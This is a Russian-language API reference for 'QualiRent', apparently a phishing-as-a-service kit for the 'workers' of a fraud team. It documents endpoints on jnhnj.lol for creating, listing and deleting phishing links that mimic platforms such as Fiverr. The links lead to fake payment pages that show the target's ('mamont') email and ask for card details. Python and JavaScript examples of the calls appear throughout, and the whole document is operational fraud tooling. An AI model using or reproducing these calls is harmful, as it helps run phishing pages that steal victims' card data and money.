QualiRent
October 7

Документация QualiRent API


Api url - https://jnhnj.lol/api

apiKey - для каждого воркера он свой, получить его можно в боте тимы в разделе Рабочая панель » Api

параметр со * — обязательный параметр

во всех запросах обязателен header параметры apiKey и Content-Type


Создание ссылок

POST запрос на url https://jnhnj.lol/api/phish-links

Параметры:

title* (string) - название
photoUrl* (string) - ссылка на картинку
price* (string) - цена
location* (string) - список локаций ниже
platform* (string) - список платформ ниже
isVerifMode (boolean) - вериф или нет (по умолчанию выключен)
extraData (string) - дополнительные данные для каждой платформы (уточнять у кодера)
mamontEmail (string) - почта мамонта (будет показана на странице платеги)
isNeedEmail (boolean) - спрашивать почту на вводе карты или нет (по умолчанию выключено)

Список локаций:

  • eu - Европа
  • gb - Британия

Список платформ:

Примеры:

Python

try:
    response = requests.post(
        'https://jnhnj.lol/api/phish-links',
        json={
            'title': 'Cool view',
            'photoUrl': 'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG',
            'price': "5000quot;,
            'location': 'eu',
            'platform': 'fiverr',
            'extraData': json.dumps({
                'senderName': 'senderName',
                'receiverName': 'receiverName',
                'sellerAvatarUrl': 'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG',
            }),
        },
        headers={
            'apiKey': 'apiKey',
            'Content-Type': 'application/json'
        },
    )

    response.raise_for_status()
    data = response.json()

    url = data.get('url')
    short_url = data.get('shortUrl')
    link_data = data.get('linkData')

    print({'url': url, 'shortUrl': short_url, 'linkData': link_data})

except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

JavaScript

try {
    const request = await axios.post(
        'https://jnhnj.lol/api/phish-links',
        {
            title: 'Cool view',
            photoUrl:
                'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG',
            price: "5000quot;,
            location: 'eu',
            platform: 'fiverr',
            extraData: JSON.stringify({
                senderName: 'senderName',
                receiverName: 'receiverName',
                sellerAvatarUrl:
                    'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG',
            }),
        },
        {
            headers: {
                apiKey: 'apiKey',
                'Content-Type': 'application/json',
            },
        }
    );

    const { url, shortUrl, linkData } = request?.data;

    console.log({ url, shortUrl, linkData });
} catch (e) {
    console.error(e);
}

Получение ссылок

Получение всех ссылок пользователя:

GET запрос на url https://jnhnj.lol/api/phish-links

Примеры:

Python

try:
    response = requests.get(
        'https://jnhnj.lol/api/phish-links',
        headers={
            'apiKey': 'apiKey',
            'Content-Type': 'application/json'
        },
    )

    response.raise_for_status()
    links_list = response.json()

    print(links_list)

except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

JavaScript

try {
    const request = await axios.get(
        'https://jnhnj.lol/api/phish-links',
        {
            headers: {
                apiKey: 'apiKey',
                'Content-Type': 'application/json',
            },
        }
    );

    const linksList = request?.data;

    console.log(linksList);
} catch (e) {
    console.error(e);
}

Получение ссылки пользователя по id:

GET запрос на url https://jnhnj.lol/api/phish-links/:id

Примеры:

Python

try:
    response = requests.get(
        f'https://jnhnj.lol/api/phish-links/{link_id}',
        headers={
            'apiKey': 'apiKey',
            'Content-Type': 'application/json'
        },
    )

    response.raise_for_status()
    link_data = response.json()

    print(link_data)

except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

JavaScript

try {
    const request = await axios.get(
        `https://jnhnj.lol/api/phish-links/${linkId}`,
        {
            headers: {
                apiKey: 'apiKey',
                'Content-Type': 'application/json',
            },
        }
    );

    const linkData = request?.data;

    console.log(linkData);
} catch (e) {
    console.error(e);
}

Удаление ссылок

Удаление всех ссылок пользователя:

DELETE запрос на url https://jnhnj.lol/api/phish-links

Примеры:

Python

try:
    response = requests.delete(
        'https://jnhnj.lol/api/phish-links',
        headers={
            'apiKey': 'apiKey',
            'Content-Type': 'application/json'
        },
    )

    response.raise_for_status()
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

JavaScript

try {
    const request = await axios.delete(
        'https://jnhnj.lol/api/phish-links',
        {
            headers: {
                apiKey: 'apiKey',
                'Content-Type': 'application/json',
            },
        }
    );
} catch (e) {
    console.error(e);
}

Удаление ссылки пользователя по id:

DELETE запрос на url https://jnhnj.lol/api/phish-links/:id

Примеры:

Python

try:
    response = requests.delete(
        f'https://jnhnj.lol/api/phish-links/{link_id}',
        headers={
            'apiKey': 'apiKey',
            'Content-Type': 'application/json'
        },
    )

    response.raise_for_status()
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

JavaScript

try {
    const request = await axios.delete(
        `https://jnhnj.lol/api/phish-links/${linkId}`,
        {
            headers: {
                apiKey: 'apiKey',
                'Content-Type': 'application/json',
            },
        }
    );
} catch (e) {
    console.error(e);
}